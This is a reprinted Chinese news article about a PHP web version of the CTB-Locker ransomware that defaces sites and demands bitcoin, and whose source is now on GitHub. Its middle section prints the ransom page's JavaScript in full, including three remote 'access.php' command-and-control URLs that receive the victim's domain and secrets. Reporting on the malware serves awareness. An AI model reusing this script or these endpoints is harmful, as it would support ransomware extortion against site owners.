转载

Web版勒索软件CTB-Locker PHP源码现身GitHub

勒索软件CTB-Locker出现其Web演化版本，可感染网页站点。据分析，其编码为采用PHP编写，目前源码已被托管至GitHub上。

Web版勒索软件CTB-Locker的首次出现

就在今年西方情人节前夕，英国的一位站长却有一个不愉快的发现，他查看到其管理的网站页面遭受篡改，篡改页面上呈现的信息看起来跟电脑感染恶意勒索软件的情形相似，其主要信息是让站点管理员支付比特币，换取相应目录文件的解密，以便使站点恢复正常。篡改页面如下图，

在被验证为首次针对网页的勒索事件后，该事件便得到极大的关注。但其实作为服务器管理员来说，开始都只是希望这仅仅是一次性事件，而不是攻击者预谋的开端。

在初始阶段，实际上并无发现其他感染事件，而情况在过去的一个星期中有了极大的转变。在这段时间内频繁出现上述的网页勒索感染事件。据悉，到目前有超过100个同类型事件被发现。在篡改的信息中其幕后操纵者要求受害者支付0.4个比特币，并且如在两天内未完成支付，支付额度将提升至0.8个比特币。以下为其要求支付比特币的源码：

<script> admins = ["http://orangecountyplasterandstucco.com/access.php", "http://klinika-redwhite.com/access.php", "http://charoenpan.com/access.php"]; iadmin = 0; domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]);  function post_admin(postdata, onsuccess) {    $.post(admins[iadmin], postdata+"&domain="+domain, function (data) {          if (data["status"] == "success") {             onsuccess(data);          } else {             alert(data["status"]);          }       }, 'json'    ).fail(function() {       alert(iadmin >= 2 ? 'It seems like our server is down=( Try to push it again' : 'Push it again');       iadmin = (iadmin + 1) % 3;    }); }  $('#decrypt').click(function() {    post_admin("decrypt=", function(data) {       alert('Your decryption key is ' + data["decrypt"] + '! Wait while page will be updated!');       url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');       window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"];    }); });  $('#dectest').click(function() {    post_admin("dectest=&secret="+($("#secret").val()), function(data) {       alert('Your test decryption key is ' + data["dectest"] + '! Wait while page will be updated!');       url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');       window.location.href = url + 'dectest=' + data["dectest"] + '&secret=' + data["secret"];    }); });  $('#sendmsg').click(function() {    msg = "&msg=" + encodeURIComponent($("#chatmsg").val());    post_admin("sendmsg=&secret="+$("#secret").val()+msg, function(data) {       alert('Thank you for feedback!');    }); });  $('#recvmsg').click(function() {    post_admin("recvmsg=&secret="+$("#secret").val(), function(data) {       $("#chatmsg").val(data["answer"]);    }); });    </script>

该勒索程序在勒索支付通知上，跟CTB-Locker为同一模型。但单单从技术上来看，这跟“声名远扬”的CTB-Locker勒索软件的情况不符。因其仅运行于Windows桌面环境，而并无法运行在 Linux Web服务器上。

Web版CTB-Locker采用PHP编写

来自 Stormshield的安全分析员Benkow，设法分析勒索软件的运行模式并从一个受感染的对象提取到了源代码。随后，Benkow将Web版CTB-Locker 源码上传至 KernelMode 论坛上，供其他安全研究人员分析和研究。而Web版CTB-Locker的“知名度”便迅速提升，其源码也被托管至GitHub。

源代码地址请点击： GitHub

考虑到，此前勒索软件Hidden Tear源码也托管至GitHub，但事情最终却没有朝着有利于用户的方向进展。而结合当前的情形，可以预见，在接下来的数个月中，将可能出现大规模的针对网页站点进行的攻击感染。

而据Benkow的研究分析，Web版CTB-Locker是采用PHP编写，其中使用高强度的AES-256加密算法。具体可参考 GitHub上的源码。